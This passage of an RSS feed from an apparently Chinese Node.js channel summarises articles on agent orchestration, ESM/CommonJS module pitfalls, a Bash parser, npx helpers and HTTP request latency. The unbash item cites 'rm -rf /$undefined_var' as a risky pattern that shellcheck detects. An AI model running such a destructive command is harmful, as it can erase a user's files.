<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>NodeJs | 锤子前端</title><description>Now vibe coding, so learning hammer FE ?</description><link>https://channel.meo-ai.com</link><item><title>《Paperclip：用开源“公司”编排 AI 智能体团队》</title><link>https://channel.meo-ai.com/posts/714</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/714</guid><pubDate>Tue, 29 Sep 2026 23:09:27 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《Paperclip：用开源“公司”编排 AI 智能体团队》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;br /&gt;&lt;a href=&quot;/search/result?q=%23AI_Agent%E7%BC%96%E6%8E%92&quot; title=&quot;#AI_Agent编排&quot;&gt;#AI_Agent编排&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Agentic%E4%BB%BB%E5%8A%A1%E7%AE%A1%E7%90%86&quot; title=&quot;#Agentic任务管理&quot;&gt;#Agentic任务管理&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E7%BB%84%E7%BB%87%E6%B2%BB%E7%90%86%E4%B8%8E%E6%88%90%E6%9C%AC%E6%8E%A7%E5%88%B6&quot; title=&quot;#组织治理与成本控制&quot;&gt;#组织治理与成本控制&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%A4%9A%E6%99%BA%E8%83%BD%E4%BD%93%E5%8D%8F%E4%BD%9C&quot; title=&quot;#多智能体协作&quot;&gt;#多智能体协作&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%BC%80%E6%BA%90%E8%87%AA%E6%89%98%E7%AE%A1&quot; title=&quot;#开源自托管&quot;&gt;#开源自托管&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Nodejs%E4%B8%8EReact&quot; title=&quot;#Nodejs与React&quot;&gt;#Nodejs与React&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23OrgChart&quot; title=&quot;#OrgChart&quot;&gt;#OrgChart&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Heartbeat%E8%B0%83%E5%BA%A6&quot; title=&quot;#Heartbeat调度&quot;&gt;#Heartbeat调度&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E9%A2%84%E7%AE%97%E7%AE%A1%E6%8E%A7&quot; title=&quot;#预算管控&quot;&gt;#预算管控&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%A4%9A%E7%BB%84%E7%BB%87%E9%9A%94%E7%A6%BB&quot; title=&quot;#多组织隔离&quot;&gt;#多组织隔离&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;&lt;br /&gt;Paperclip 是一个开源的自托管应用，用“经营公司”的方式管理 AI 智能体团队：它把目标、组织架构、任务、预算、审批、审计和运行环境整合进一个控制台。你可以接入 Claude Code、Codex、Cursor、OpenClaw 等任意 Agent，让它们像员工一样有角色、汇报线、预算与心跳调度，并在一个看板里追踪进度与成本。&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;1. 核心定位是“管公司，不是管聊天”：Paperclip 不造 Agent、不做拖拽式工作流，而是把多个 Agent 编排成有目标、有层级、有治理的组织。&lt;br /&gt;2. 使用路径很直接：先定义商业目标，再“招聘”不同职能的 Agent（CEO/CTO/工程/设计/营销等），最后审批策略、设置预算并启动运行。&lt;br /&gt;3. 四大支柱覆盖日常到平台层：Agentic 任务管理、Agent 组织架构、Agent 员工培训、Agentic OS（运行基础设施）。&lt;br /&gt;4. 任务系统强调可审计与防冲突：任务带公司/项目/目标链路，支持原子领取、执行锁、阻塞依赖、评论、附件与产出物。&lt;br /&gt;5. Heartbeat 让 Agent 按计划醒来干活：支持定时唤醒、事件触发、上下文续接、结构化日志与自动恢复，减少人工盯梢。&lt;br /&gt;6. 成本控制是硬约束：按公司/Agent/项目/目标/模型等维度追踪 token 与费用，预算到线会告警并硬停止，避免“跑飞”。&lt;br /&gt;7. 治理与回滚机制完整：审批流、执行策略、决策记录、暂停/终止 Agent、配置版本化与审计日志都在系统内完成。&lt;br /&gt;8. 支持多组织隔离与可移植性：一套部署可跑多家“公司”，数据完全隔离；还能导出/导入组织配置并做密钥清理。&lt;br /&gt;9. 运行环境面向真实开发流程：支持项目工作区、隔离执行工作区（如 git worktree）、开发服务/预览链接、密钥注入与技能加载。&lt;br /&gt;10. 它不是聊天机器人、不是 Agent 框架、不是代码评审工具，而是面向“多 Agent 团队”的编排控制平面。&lt;br /&gt;&lt;br /&gt;URL：&lt;br /&gt;&lt;a href=&quot;https://github.com/paperclipai/paperclip&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://github.com/paperclipai/paperclip&quot;&gt;https://github.com/paperclipai/paperclip&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://github.com/paperclipai/paperclip&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;The open-source app everyone uses to manage agents at work - paperclipai/paperclip&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;GitHub&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;GitHub - paperclipai/paperclip: The open-source app everyone uses to manage agents at work&quot; src=&quot;/static/https://cdn4.telesco.pe/file/VlmvKyR8zPbjqH0UUguTaUIUsAEKGtRQKnINpYN7Qljvd-stV4ghfkrTJdkOhQtxYhlTc7Bo8xs9V8c900ViSiWmqpUP7Js0GDhJo3YTaLDAu4tZ0jEaNRrSOimuSq_TAujIaVvsul1IblWHMJMVAro_ZwCmx_nMZGl5PHstcXTBuqCksdxogqfbedTciYx7a1ikd6Y01Esc0G5gzAzagfKZraXYo3LT63SMTUvRuvwsg5PfJcxiTixwvXZMINfnmg0n8-DDjQ_wrW0LmlqhJLv9brr2cRbxCHelMWNhEKVyHlZ_X0ZsLgXCxChnbeyusJETXhyVF9qEdH04E_2-Gg.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;GitHub - paperclipai/paperclip: The open-source app everyone uses to manage agents at work&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;The open-source app everyone uses to manage agents at work - paperclipai/paperclip&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《你的模块在骗你：ESM 与 CommonJS 的本质差异与陷阱全解析》</title><link>https://channel.meo-ai.com/posts/701</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/701</guid><pubDate>Fri, 28 Aug 2026 01:13:02 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《你的模块在骗你：ESM 与 CommonJS 的本质差异与陷阱全解析》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;br /&gt;&lt;a href=&quot;/search/result?q=%23JavaScript&quot; title=&quot;#JavaScript&quot;&gt;#JavaScript&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23ESM&quot; title=&quot;#ESM&quot;&gt;#ESM&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23CommonJS&quot; title=&quot;#CommonJS&quot;&gt;#CommonJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E6%A8%A1%E5%9D%97%E7%B3%BB%E7%BB%9F&quot; title=&quot;#模块系统&quot;&gt;#模块系统&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%89%8D%E7%AB%AF%E5%B7%A5%E7%A8%8B%E5%8C%96&quot; title=&quot;#前端工程化&quot;&gt;#前端工程化&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;&lt;br /&gt;本文深入剖析了 ESM 和 CommonJS 两种模块系统在底层机制上的根本差异——ESM 通过&quot;活绑定&quot;（live bindings）在模块间共享变量引用，而 CommonJS 通过 &lt;code&gt;module.exports&lt;/code&gt; 返回一个普通值（通常是对象）。这一差异导致了同名导入在两种系统下行为截然不同：ESM 的命名导入能观察到导出模块的变量重新赋值，CommonJS 的解构赋值则只复制了属性的当前值。文章进一步系统讲解了评估顺序、缓存机制、循环依赖处理、跨系统互操作、双包实例风险等关键话题，并提供了 9 条实践规则和调试清单。&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;&lt;br /&gt;1. 活绑定 vs 值复制：最经典的陷阱 — ESM 的 &lt;code&gt;import { status }&lt;/code&gt; 是活绑定，导出模块重新赋值后导入方自动看到新值；CommonJS 的 &lt;code&gt;const { status } = require()&lt;/code&gt; 是解构赋值，只复制了对象属性的当前值，后续变化不可见。只有保留整个对象 &lt;code&gt;const state = require()&lt;/code&gt; 才能观察到属性变更。&lt;br /&gt;&lt;br /&gt;2. ESM 的导入会被提升，CommonJS 按执行顺序 — ESM 静态导入在模块体执行前就已经解析、链接并评估依赖，所以 &lt;code&gt;import&lt;/code&gt; 写在代码中间也不影响执行顺序；CommonJS 的 &lt;code&gt;require()&lt;/code&gt; 是普通函数调用，走到哪行才执行哪行。&lt;br /&gt;&lt;br /&gt;3. 两种系统有独立的缓存 — ESM 和 CommonJS 各自维护自己的模块缓存，URL 查询参数（如 &lt;code&gt;?mode=one&lt;/code&gt;）会让同一文件被当作不同模块实例加载两次。条件导出（&lt;code&gt;&quot;import&quot;&lt;/code&gt; / &lt;code&gt;&quot;require&quot;&lt;/code&gt;）指向不同文件时，也会产生两个独立的模块实例。&lt;br /&gt;&lt;br /&gt;4. 循环依赖的处理方式天差地别 — CommonJS 允许在模块未完全初始化时就返回 &lt;code&gt;exports&lt;/code&gt; 对象，因此循环依赖中的模块能看到对方&quot;半成品&quot;状态；ESM 则先创建绑定再执行模块体，如果在初始化前读取对方绑定会抛出 &lt;code&gt;ReferenceError: Cannot access before initialization&lt;/code&gt;。&lt;br /&gt;&lt;br /&gt;5. 跨系统互操作的隐藏复杂性 — ESM 导入 CJS 时，&lt;code&gt;module.exports&lt;/code&gt; 作为 &lt;code&gt;default&lt;/code&gt; 导出最可靠，命名导出是 Node 静态分析的&quot;快照&quot;，不会跟踪后续属性变更；CJS 通过 &lt;code&gt;require()&lt;/code&gt; 加载 ESM 时返回的是命名空间对象，需通过 &lt;code&gt;.default&lt;/code&gt; 访问默认导出。&lt;code&gt;__esModule&lt;/code&gt; 只是工具链约定，不是语言特性。&lt;br /&gt;&lt;br /&gt;6. 双包实例风险（Dual-Package Hazard） — 当 &lt;code&gt;&quot;import&quot;&lt;/code&gt; 和 &lt;code&gt;&quot;require&quot;&lt;/code&gt; 指向不同构建文件时，同一个类会被实例化为两个不同的构造函数，&lt;code&gt;instanceof&lt;/code&gt; 会返回 &lt;code&gt;false&lt;/code&gt;，共享状态（如计数器、注册表）也会分裂成两份。&lt;br /&gt;&lt;br /&gt;7. 发布库的最佳实践 — 用 &lt;code&gt;.mjs&lt;/code&gt;/&lt;code&gt;.cjs&lt;/code&gt; 明确文件格式；&lt;code&gt;package.json&lt;/code&gt; 中 &lt;code&gt;&quot;type&quot;&lt;/code&gt; 字段决定 &lt;code&gt;.js&lt;/code&gt; 的解析方式；相对 ESM 导入必须带文件扩展名；用 &lt;code&gt;&quot;exports&quot;&lt;/code&gt; 条件导出为不同系统提供入口，但要警惕实例分裂。&lt;br /&gt;&lt;br /&gt;8. 调试模块问题的检查清单 — 从导入文件的格式、解析到的入口点、返回值形状、本地变量持有的是绑定还是副本、评估是否完成、是否存在循环依赖、模块身份是否一致、是否经过构建工具转换、是否通过打包后的 tarball 测试等 9 个维度系统排查。&lt;br /&gt;&lt;br /&gt;9. 九条实践规则 — 新项目优先用 ESM；库优先用命名导出；可变导出视为共享进程状态；CJS 属性会变时保留对象而非解构；移除循环依赖而非绕开；条件/延迟加载用动态 &lt;code&gt;import()&lt;/code&gt;；包边界显式声明文件格式；假设不同导出目标是不同实例；通过包名而非源码路径测试。&lt;br /&gt;&lt;br /&gt;URL：&lt;br /&gt;&lt;a href=&quot;https://blog.gaborkoos.com/posts/2026-08-14-Your-Modules-Are-Lying-to-You/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://blog.gaborkoos.com/posts/2026-08-14-Your-Modules-Are-Lying-to-You/&quot;&gt;https://blog.gaborkoos.com/posts/2026-08-14-Your-Modules-Are-Lying-to-You/&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://blog.gaborkoos.com/posts/2026-08-14-Your-Modules-Are-Lying-to-You&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;ESM and CommonJS expose values through different contracts. Learn how bindings, object references, evaluation order, caching, cycles, and interop shape module behavior in Node.js.&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;Gaborkoos&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;Your Modules Are Lying to You&quot; src=&quot;/static/https://cdn4.telesco.pe/file/in4_ukS7CHW4JkfaPzwpRy_xaEUC6hkaOVOeiHHAbDOPUAM9KYDjbtXHuDaIouRG3zaMHPRB2Xu2qesYdWEYrIPtHZOa15cjevFUQNZ9J-vxMLlIGozxzVZvTMF02G3duAhiQGsye5zIsJ2rLQ7CjxzqB6v159SeR6OoFkDr7d0XWjW9O8nIhXUN3LD2vA_ITTv-Z8yLdWH0so5tnKcCcKHWVcNftxEOTZNy_8m7ROyd-9gYP_u2tFtY3C2eMfrjtmofAxeXIc1uJ3b9Q_xsUZjSmE9thIKYKkILvZXrFDmrwlYRw8FdCnRaQKMigZGtFXJ_vq3A13DKEuzV8mBlLQ.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;Your Modules Are Lying to You&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;ESM and CommonJS expose values through different contracts. Learn how bindings, object references, evaluation order, caching, cycles, and interop shape module behavior in Node.js.&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《unbash：零依赖的 Bash 解析器》</title><link>https://channel.meo-ai.com/posts/692</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/692</guid><pubDate>Sat, 15 Aug 2026 12:55:27 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《unbash：零依赖的 Bash 解析器》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;br /&gt;&lt;a href=&quot;/search/result?q=%23Web%E5%BC%80%E5%8F%91&quot; title=&quot;#Web开发&quot;&gt;#Web开发&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23NodeJs&quot; title=&quot;#NodeJs&quot;&gt;#NodeJs&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Bash%E8%A7%A3%E6%9E%90&quot; title=&quot;#Bash解析&quot;&gt;#Bash解析&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23TypeScript&quot; title=&quot;#TypeScript&quot;&gt;#TypeScript&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23AST&quot; title=&quot;#AST&quot;&gt;#AST&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%B7%A5%E5%85%B7&quot; title=&quot;#命令行工具&quot;&gt;#命令行工具&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E9%9D%99%E6%80%81%E5%88%86%E6%9E%90&quot; title=&quot;#静态分析&quot;&gt;#静态分析&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;1. 定位清晰：unbash 是一个用 TypeScript 编写的、零依赖的 Bash 解析器，能将 Bash 源码（命令、脚本或嵌入在其他格式中的 shell 代码）解析为带类型和源码位置的 AST，且不执行代码&lt;br /&gt;2. 适用场景丰富：可用于权限审核、静态盘点脚本中的可执行文件和依赖引用、将 &lt;code&gt;curl&lt;/code&gt; 等命令结构化导入、为粘贴的 Bash 代码附加诊断信息、构建可视化解释、以及安全地查找和迁移命令调用&lt;br /&gt;3. 语法支持全面：涵盖命令、控制流、管道、重定向、赋值、复合语句、参数扩展、进程替换、heredoc、算术表达式等，嵌套命令在参数、数组索引、算术表达式中仍保持结构化&lt;br /&gt;4. 容错能力强：对于畸形或不完整的输入，会返回尽力而为的部分 AST，并附带带源码位置的错误信息，适合处理编辑器输入或用户粘贴内容&lt;br /&gt;5. 性能碾压对手：在多个基准测试中，解析吞吐量远超 tree-sitter-bash（约 717 倍）、sh-syntax（约 92870 倍）和 bash-parser（约 275291 倍），包体积仅 80KB 压缩后 19KB&lt;br /&gt;6. 与竞品差异化明显：相比 tree-sitter-bash 提供的是可执行语法的类型化 AST 而非 CST；相比 sh-syntax 无需 WASM 且 API 更轻量；相比 bash-parser 支持更多 Bash 特性（如 &lt;code&gt;[[ ]]&lt;/code&gt;、&lt;code&gt;(( ))&lt;/code&gt;、herestrings、process substitution 等）且具备错误恢复能力&lt;br /&gt;7. 与 shellcheck 的互补关系：unbash 专注于&quot;解析结构&quot;，不做语义分析；以下场景推荐用 shellcheck 而非 unbash：&lt;br /&gt;   - 检查变量是否已定义或是否被引用（如未引用变量 &lt;code&gt;$var&lt;/code&gt; 可能引发 word splitting）&lt;br /&gt;   - 检测命令是否存在及其参数合法性（如 &lt;code&gt;git --不存在的参数&lt;/code&gt; 语法正确但运行会报错）&lt;br /&gt;   - 识别常见陷阱和反模式（如 &lt;code&gt;cat file | grep pattern&lt;/code&gt; 可简化为 &lt;code&gt;grep pattern file&lt;/code&gt;）&lt;br /&gt;   - 检查权限相关风险（如 &lt;code&gt;rm -rf /$undefined_var&lt;/code&gt; 的潜在危险）&lt;br /&gt;   - 提供可操作的修复建议（shellcheck 会直接给出 SC 规则编号和修复方案）&lt;br /&gt;   - 对脚本进行全面的最佳实践审查（POSIX 兼容性、可移植性建议等）&lt;br /&gt;&lt;br /&gt;URL：&lt;a href=&quot;https://github.com/webpro-nl/unbash&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://github.com/webpro-nl/unbash&quot;&gt;https://github.com/webpro-nl/unbash&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://github.com/webpro-nl/unbash&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;Fast 0-deps bash parser written in TypeScript. Contribute to webpro-nl/unbash development by creating an account on GitHub.&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;GitHub&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;GitHub - webpro-nl/unbash: Fast 0-deps bash parser written in TypeScript&quot; src=&quot;/static/https://cdn4.telesco.pe/file/vQUj277sD_Gwtce0lyLqPsUcyAZCwZXOsmmnZwfHo6rui6B-SL-KC_HxE4wpkteg1mw-l6DXn6M2DES3NipOnerSbyBccQozGyseFIm2MxGL-bh7ZR1_uQDIo8hbsyNNO_jQgjVePm1KTFuQH0ESeB42RJWNAgrj8DLDSFVaX76aHegABcJqyWBBg3kttHnv4x0D7gSz3M0JlTx005aO2oGX1acRoBwLNnGfQuFBGrNfIYtFEBfaShL2xJzePDgTKz9f4Nwcah30Ow0id8zQjkEVBBUy2GMnqCkLQX2HwbDEmlte8D0zsFRSofjaMlq0-JhpdoPDDZoaBl3WIMtpdQ.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;GitHub - webpro-nl/unbash: Fast 0-deps bash parser written in TypeScript&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;Fast 0-deps bash parser written in TypeScript. Contribute to webpro-nl/unbash development by creating an account on GitHub.&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《5 个实用的 npx 辅助工具》</title><link>https://channel.meo-ai.com/posts/691</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/691</guid><pubDate>Sat, 15 Aug 2026 12:45:43 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《5 个实用的 npx 辅助工具》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;br /&gt;&lt;a href=&quot;/search/result?q=%23Web%E5%BC%80%E5%8F%91&quot; title=&quot;#Web开发&quot;&gt;#Web开发&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23NodeJs&quot; title=&quot;#NodeJs&quot;&gt;#NodeJs&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%B7%A5%E5%85%B7&quot; title=&quot;#命令行工具&quot;&gt;#命令行工具&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Npx&quot; title=&quot;#Npx&quot;&gt;#Npx&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%89%8D%E7%AB%AF%E5%B7%A5%E7%A8%8B%E5%8C%96&quot; title=&quot;#前端工程化&quot;&gt;#前端工程化&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E4%BB%A3%E7%A0%81%E8%B4%A8%E9%87%8F&quot; title=&quot;#代码质量&quot;&gt;#代码质量&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Markdown&quot; title=&quot;#Markdown&quot;&gt;#Markdown&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%9B%BE%E7%89%87%E4%BC%98%E5%8C%96&quot; title=&quot;#图片优化&quot;&gt;#图片优化&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E4%BE%9D%E8%B5%96%E7%AE%A1%E7%90%86&quot; title=&quot;#依赖管理&quot;&gt;#依赖管理&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E6%8B%BC%E5%86%99%E6%A3%80%E6%9F%A5&quot; title=&quot;#拼写检查&quot;&gt;#拼写检查&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;1. cspell：一个拼写检查器，适合快速排查拼写错误，建议搭配配置文件使用自定义白名单，运行方式如 &lt;code&gt;npx cspell **/*.md&lt;/code&gt;&lt;br /&gt;2. markdown-link-check：专门检查 Markdown 文件中的链接是否有效，能帮助防止链接失效，推荐配合配置文件使用&lt;br /&gt;3. image-guard：作者自己开发的工具，用于自动化近无损图片压缩，也适合在命令行中快速压缩图片，运行 &lt;code&gt;npx image-guard&lt;/code&gt; 即可&lt;br /&gt;4. npm-check-updates：快速检查 &lt;code&gt;package.json&lt;/code&gt; 中的依赖是否有更新版本，适合在新仓库工作或手动处理依赖更新时使用&lt;br /&gt;5. knip：功能比 npm-check-updates 更广，还能检查未使用的文件和导出，但文件和导出检查可能会有误报，运行 &lt;code&gt;npx knip&lt;/code&gt; 即可&lt;br /&gt;&lt;br /&gt;URL：&lt;a href=&quot;https://meiert.com/blog/5-npx-helpers/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://meiert.com/blog/5-npx-helpers/&quot;&gt;https://meiert.com/blog/5-npx-helpers/&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://meiert.com/blog/5-npx-helpers&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;Joy on the command line.&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;Jens Oliver Meiert&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;5 Useful npx Helpers&quot; src=&quot;/static/https://cdn4.telesco.pe/file/VowQpiSoIknIA-ta7NiVkMYhMJhcw9LECn5TcPwNYHnVYMuWmyjt_-ASs8o7FOVaHPlk8EwV9lPmP7OBkGVhuVESVWuJCYYPyIol8FgvYtZ-nP4hy8LeNyGLpL8Xd-lXhv4l39_T7w162qp706-Yw5zP6VBUuSNL1GB5ir4u1JF3dO6umj20ZEVmfCWiUF8UbHsET-B-W3U6O8KpIimdDFgKd6CJApDVrrzpwg45aReTGaVyXH99duX316hv0MS4wmhzAvffd38QqsPA7e3zWANASg9oQcQ_Q1DIu_-EZ8vEZeSTsnezEBmH-4TFvwV2RacOvDbiLE6H2HIjKB1McA.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;5 Useful npx Helpers&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;Joy on the command line.&lt;/div&gt;
&lt;/a&gt;</content:encoded></item><item><title>《200毫秒：一次HTTP请求的完整旅程》</title><link>https://channel.meo-ai.com/posts/677</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/677</guid><pubDate>Sat, 18 Jul 2026 15:24:57 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《200毫秒：一次HTTP请求的完整旅程》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;a href=&quot;/search/result?q=%23%E5%90%8E%E7%AB%AF&quot; title=&quot;#后端&quot;&gt;#后端&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE&quot; title=&quot;#网络协议&quot;&gt;#网络协议&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23TCP&quot; title=&quot;#TCP&quot;&gt;#TCP&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23TLS&quot; title=&quot;#TLS&quot;&gt;#TLS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23DNS&quot; title=&quot;#DNS&quot;&gt;#DNS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23HTTP&quot; title=&quot;#HTTP&quot;&gt;#HTTP&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Postgres&quot; title=&quot;#Postgres&quot;&gt;#Postgres&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Linux%E5%86%85%E6%A0%B8&quot; title=&quot;#Linux内核&quot;&gt;#Linux内核&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23Web%E6%80%A7%E8%83%BD&quot; title=&quot;#Web性能&quot;&gt;#Web性能&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;&lt;br /&gt;这是一个交互式可视化网站，以旧金山咖啡店一次点击购买为起点，逐帧追踪HTTP请求在211.4毫秒内穿越北美大陆的完整生命周期。从触摸板电容变化到屏幕像素刷新，文章以精确的时间轴拆解了硬件中断、浏览器事件循环、DNS解析、TCP/TLS握手、内核网络栈、Node.js事件循环、Postgres事务提交、光纤传输、Wi-Fi重传、GPU渲染等每个环节，揭示了&quot;冷启动&quot;请求中60%时间消耗在握手、35%在传输、而服务器实际计算仅占1.4%的惊人事实。&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;&lt;br /&gt;1. 一次点击触发7层软件栈（触摸板→HID→窗口服务器→Chrome→渲染器→JavaScript→fetch）才发出第一个字节，而电容变化到网络请求离开仅需5毫秒&lt;br /&gt;2. DNS查询通过UDP在2毫秒内完成，依赖Anycast路由将请求导向最近的解析器；TLS 1.3将握手从2个RTT压缩到1个，但仍需127毫秒建立加密隧道&lt;br /&gt;3. 4,700公里光纤需6次穿越大陆，每次31毫秒；Wi-Fi碰撞重传仅需1.2毫秒，却足以容纳整个Postgres查询往返（0.35毫秒）&lt;br /&gt;4. 服务器端50微秒内完成从网卡DMA→NAPI轮询→TCP重组→epoll唤醒→Node.js读取→TLS解密→HTTP解析→路由到handler的全流程&lt;br /&gt;5. Postgres通过连接池、预编译语句和WAL组提交将INSERT优化至2.1毫秒，fsync强制刷盘是唯一的同步阻塞点&lt;br /&gt;6. 响应返回后，Chrome还需经历kqueue唤醒、TLS解密、React重渲染、样式计算、布局、绘制、合成，最终等待4.4毫秒VSync才显示&quot;Order confirmed&quot;&lt;br /&gt;7. 第二次&quot;热请求&quot;可复用TCP连接和TLS会话票证，将耗时从211毫秒降至约95毫秒，节省的116毫秒全是首次建立的连接成本&lt;br /&gt;&lt;br /&gt;URL：&lt;a href=&quot;https://200ms.thenodebook.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://200ms.thenodebook.com/&quot;&gt;https://200ms.thenodebook.com/&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://200ms.thenodebook.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;A single HTTP request, traced in real time through DNS, TCP, TLS, the kernel, Node&apos;s event loop, and Postgres — then back to the pixel. Scroll distance equals time.&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;The Nodebook&lt;/div&gt;
